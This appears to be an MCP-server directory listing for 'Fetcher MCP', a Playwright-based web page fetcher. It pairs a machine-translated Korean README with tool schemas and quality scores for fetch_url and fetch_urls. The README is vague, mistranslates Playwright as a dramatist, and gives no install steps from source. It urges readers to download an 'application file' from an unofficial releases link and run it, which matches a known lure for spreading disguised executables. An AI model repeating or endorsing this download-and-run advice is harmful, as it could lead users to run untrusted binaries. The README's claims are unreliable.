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Fetcher MCP

🚀 Fetcher MCP - Playwright 헤드리스 브라우저 서버

Fetcher MCP GitHub 저장소에 오신 것을 환영합니다! 이 저장소는 Playwright 헤드리스 브라우저를 사용하여 웹 페이지 콘텐츠를 가져오는 MCP 서버를 호스팅합니다.

🧠 소개

Fetcher MCP는 인공지능 기능을 활용하여 웹 페이지 콘텐츠를 효율적으로 검색하도록 설계되었습니다. Playwright 헤드리스 브라우저를 활용하여 이 서버는 웹 페이지를 탐색하고 원하는 정보를 쉽게 추출할 수 있습니다.

Related MCP server: Fetch MCP

🎯 주요 특징

🤖 AI 기반 콘텐츠 가져오기
🔗 극작가 통합
🚀 빠르고 효율적
🌟 간편한 설정 및 구성

📚 저장소 세부 정보

  • 이름 : fetcher-mcp

  • 설명 : Playwright 헤드리스 브라우저를 사용하여 웹 페이지 콘텐츠를 가져오기 위한 MCP 서버

  • 주제 : AI, MCP, 극작가

📦 최신 릴리스

다음 링크에서 Fetcher MCP 서버의 최신 버전을 다운로드할 수 있습니다.
Fetcher MCP 다운로드

:information_source: 참고:

제공된 링크를 클릭하면 신청서 파일로 바로 연결됩니다. 다운로드 후 반드시 신청서를 실행해 주세요.

링크에 접근할 수 없거나 작동하지 않는 경우 이 저장소의 "릴리스" 섹션에서 대체 다운로드 옵션을 확인하세요.

🚀 시작하기

Fetcher MCP 서버를 사용하여 콘텐츠를 가져오려면 다음 간단한 단계를 따르세요.

  1. 위의 링크에서 최신 버전을 다운로드하세요.

  2. 다운로드한 파일을 원하는 위치에 압축 해제하세요.

  3. 애플리케이션을 실행합니다.

  4. 필요에 따라 서버 설정을 구성하세요.

  5. 손쉽게 웹페이지 콘텐츠를 가져오세요!

🌐 추가 자료

Fetcher MCP 서버에 대한 자세한 정보, 리소스 또는 지원을 원하시면 https://github.com/everford/fetcher-mcp/releases 에 있는 공식 웹사이트를 방문하세요.

📝 기여 가이드라인

Fetcher MCP 서버를 개선하고 더욱 강력하고 효율적으로 만들기 위한 여러분의 기여를 환영합니다. 아이디어, 제안 또는 개선 사항이 있으시면 저희 가이드라인에 따라 풀 리퀘스트를 제출해 주세요.

🙌 커뮤니티에 가입하세요

Fetcher MCP 서버와 관련된 최신 뉴스를 받아보려면 커뮤니티에 가입하여 다른 개발자들과 소통하고, 통찰력을 공유하세요.

👥 슬랙 채널
🐦 트위터
📧 뉴스레터


🚀 AI 기반 기능을 통해 웹 페이지 콘텐츠를 원활하게 가져오려면 지금 바로 Fetcher MCP 서버를 사용해 보세요. Playwright 헤드리스 브라우저 통합 기능을 사용하여 필요한 정보를 손쉽게 추출할 수 있습니다. 즐거운 Fetching 되세요! 🌟


Fetcher MCP 서버는 웹 페이지 콘텐츠 검색 과정을 간소화하여 그 어느 때보다 빠르고 효율적으로 만들어 줍니다. 지금 최신 버전을 다운로드하고 AI와 Playwright의 강력한 기능을 직접 경험해 보세요. 즐거운 Fetching 되세요! 🚀

Available Tools

2 tools
fetch_urlC

Retrieve web page content from a specified URL

ParametersJSON Schema
NameRequiredDescriptionDefault
debugNoWhether to enable debug mode (showing browser window), overrides the --debug command line flag if specified
disableMediaNoWhether to disable media resources (images, stylesheets, fonts, media), default is true
extractContentNoWhether to intelligently extract the main content, default is true
maxLengthNoMaximum length of returned content (in characters), default is no limit
navigationTimeoutNoMaximum time to wait for additional navigation in milliseconds, default is 10000 (10 seconds)
returnHtmlNoWhether to return HTML content instead of Markdown, default is false
timeoutNoPage loading timeout in milliseconds, default is 30000 (30 seconds)
urlYesURL to fetch
waitForNavigationNoWhether to wait for additional navigation after initial page load (useful for sites with anti-bot verification), default is false
waitUntilNoSpecifies when navigation is considered complete, options: 'load', 'domcontentloaded', 'networkidle', 'commit', default is 'load'

TDQS

C2.9/5.0
Behavior2/5

Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?

With no annotations provided, the description carries the full burden of behavioral disclosure but only states the basic action. It fails to mention critical traits such as rate limits, authentication needs, potential for blocking or CAPTCHAs, error handling, or what 'retrieve' entails (e.g., using a headless browser, returning structured data). The description is too minimal for a tool with 10 parameters and complex web interactions.

Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.

Conciseness5/5

Is the description appropriately sized, front-loaded, and free of redundancy?

The description is a single, efficient sentence that front-loads the core purpose without unnecessary words. It earns its place by clearly stating what the tool does, making it highly concise and well-structured for quick understanding.

Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.

Completeness2/5

Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?

Given the tool's complexity (10 parameters, web scraping functionality) and lack of annotations and output schema, the description is incomplete. It doesn't address behavioral aspects, error cases, or return values, leaving significant gaps for an agent to understand how to use it effectively in real-world scenarios.

Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.

Parameters3/5

Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?

The description adds no parameter-specific information beyond what the input schema provides. Since schema description coverage is 100%, with detailed descriptions for all 10 parameters, the baseline score of 3 is appropriate. The description doesn't compensate but doesn't need to, as the schema fully documents parameters like 'debug', 'extractContent', and 'waitUntil'.

Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.

Purpose4/5

Does the description clearly state what the tool does and how it differs from similar tools?

The description clearly states the tool's purpose as retrieving web page content from a URL, using specific verbs ('retrieve') and resources ('web page content', 'specified URL'). It distinguishes the core function but doesn't explicitly differentiate from the sibling tool 'fetch_urls', which appears to be a plural/multiple URL version.

Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.

Usage Guidelines2/5

Does the description explain when to use this tool, when not to, or what alternatives exist?

The description provides no guidance on when to use this tool versus alternatives like 'fetch_urls' or other web scraping methods. It lacks context about prerequisites, limitations, or typical use cases, leaving the agent with no usage direction beyond the basic purpose.

Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.

fetch_urlsC

Retrieve web page content from multiple specified URLs

ParametersJSON Schema
NameRequiredDescriptionDefault
debugNoWhether to enable debug mode (showing browser window), overrides the --debug command line flag if specified
disableMediaNoWhether to disable media resources (images, stylesheets, fonts, media), default is true
extractContentNoWhether to intelligently extract the main content, default is true
maxLengthNoMaximum length of returned content (in characters), default is no limit
navigationTimeoutNoMaximum time to wait for additional navigation in milliseconds, default is 10000 (10 seconds)
returnHtmlNoWhether to return HTML content instead of Markdown, default is false
timeoutNoPage loading timeout in milliseconds, default is 30000 (30 seconds)
urlsYesArray of URLs to fetch
waitForNavigationNoWhether to wait for additional navigation after initial page load (useful for sites with anti-bot verification), default is false
waitUntilNoSpecifies when navigation is considered complete, options: 'load', 'domcontentloaded', 'networkidle', 'commit', default is 'load'

TDQS

C2.9/5.0
Behavior2/5

Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?

No annotations are provided, so the description carries the full burden of behavioral disclosure. It states the tool retrieves content but lacks details on critical behaviors: it doesn't mention authentication needs, rate limits, error handling, or what the output looks like (e.g., format, structure). For a tool with 10 parameters and no output schema, this is a significant gap in transparency.

Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.

Conciseness5/5

Is the description appropriately sized, front-loaded, and free of redundancy?

The description is a single, efficient sentence: 'Retrieve web page content from multiple specified URLs.' It's front-loaded with the core purpose, has zero wasted words, and is appropriately sized for the tool's complexity. Every part of the sentence earns its place by clearly stating the action and scope.

Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.

Completeness2/5

Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?

Given the tool's complexity (10 parameters, no annotations, no output schema), the description is incomplete. It doesn't address behavioral aspects like how content is returned, error cases, or performance constraints. While the schema covers parameters well, the description fails to provide necessary context for effective use, especially without annotations or output schema to fill gaps.

Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.

Parameters3/5

Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?

The schema description coverage is 100%, meaning all parameters are well-documented in the input schema itself. The description doesn't add any semantic details beyond what's in the schema (e.g., it doesn't explain how 'urls' are processed or interactions between parameters). With high schema coverage, the baseline score of 3 is appropriate, as the description doesn't compensate but also doesn't detract.

Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.

Purpose4/5

Does the description clearly state what the tool does and how it differs from similar tools?

The description clearly states the tool's purpose: 'Retrieve web page content from multiple specified URLs.' It specifies the verb ('Retrieve'), resource ('web page content'), and scope ('multiple specified URLs'), which is specific and actionable. However, it doesn't explicitly distinguish this tool from its sibling 'fetch_url' (which presumably handles single URLs), missing full differentiation for a top score.

Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.

Usage Guidelines2/5

Does the description explain when to use this tool, when not to, or what alternatives exist?

The description provides no guidance on when to use this tool versus alternatives. It doesn't mention the sibling tool 'fetch_url' or explain scenarios where fetching multiple URLs is preferred over single ones. There's no context about prerequisites, limitations, or best practices, leaving the agent without usage direction.

Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.

Tool Schema Changelog

Recent tool additions, removals, and schema changes observed during successful MCP inspections.

  1. 2 tool updatesv1.0.0
    • First observedfetch_url
    • First observedfetch_urls

TDQS

C2.9/5.0

Scored across 2 tools

Disambiguation3/5

The two tools have overlapping purposes—both fetch web page content—but the descriptions clarify that one handles a single URL while the other handles multiple URLs. This distinction is clear enough to avoid misselection, but the core functionality is identical, leading to some ambiguity in why they are separate tools.

Naming Consistency5/5

The tool names follow a perfectly consistent verb_noun pattern with 'fetch_url' and 'fetch_urls', using snake_case throughout. The naming is predictable and clear, with no deviations in style or convention.

Tool Count2/5

With only two tools, the server feels under-scoped for a general-purpose 'Fetcher' domain. A single tool with parameters for single or multiple URLs could suffice, making the current count seem redundant and inefficient for typical agent workflows.

Completeness2/5

The tool surface is severely incomplete for web fetching; it lacks essential operations like handling HTTP methods (e.g., POST), managing headers, parsing content, or error handling. Agents will face dead ends when needing more than basic retrieval, causing frequent failures.

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